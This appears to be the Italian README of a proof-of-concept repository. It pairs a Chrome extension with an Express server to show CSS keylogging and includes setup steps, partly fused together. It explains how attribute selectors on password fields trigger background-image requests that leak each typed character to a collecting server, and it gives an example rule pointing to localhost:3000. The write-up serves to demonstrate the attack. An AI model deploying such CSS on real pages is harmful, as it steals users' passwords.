
Estensione Chrome e server Express che sfrutta le capacità di keylogging dei CSS.
Estensione Chrome e server Express che sfruttano le capacità di keylogging dei CSS.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions nel browser (oppure aprire il menu Chrome cliccando sull'icona all'estrema destra della Omnibox: l'icona del menu è composta da tre linee orizzontali, e selezionare Estensioni sotto il menu Altri strumenti per arrivare allo stesso posto).css-keylogger-extension nella directory in cui è stato scaricato questo repository.yarnyarn startC in alto a destra di qualsiasi pagina web.Questo attacco è molto semplice. Utilizzando i selettori di attributo CSS, è possibile richiedere risorse da un server esterno con il pretesto di caricare un'immagine di sfondo (background-image).
Ad esempio, il seguente CSS selezionerà tutti gli input con type uguale a password e value che termina con a.
Tenterà quindi di caricare un'immagine da http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Utilizzando un semplice script è possibile creare un file CSS che invierà una richiesta personalizzata per ogni carattere ASCII.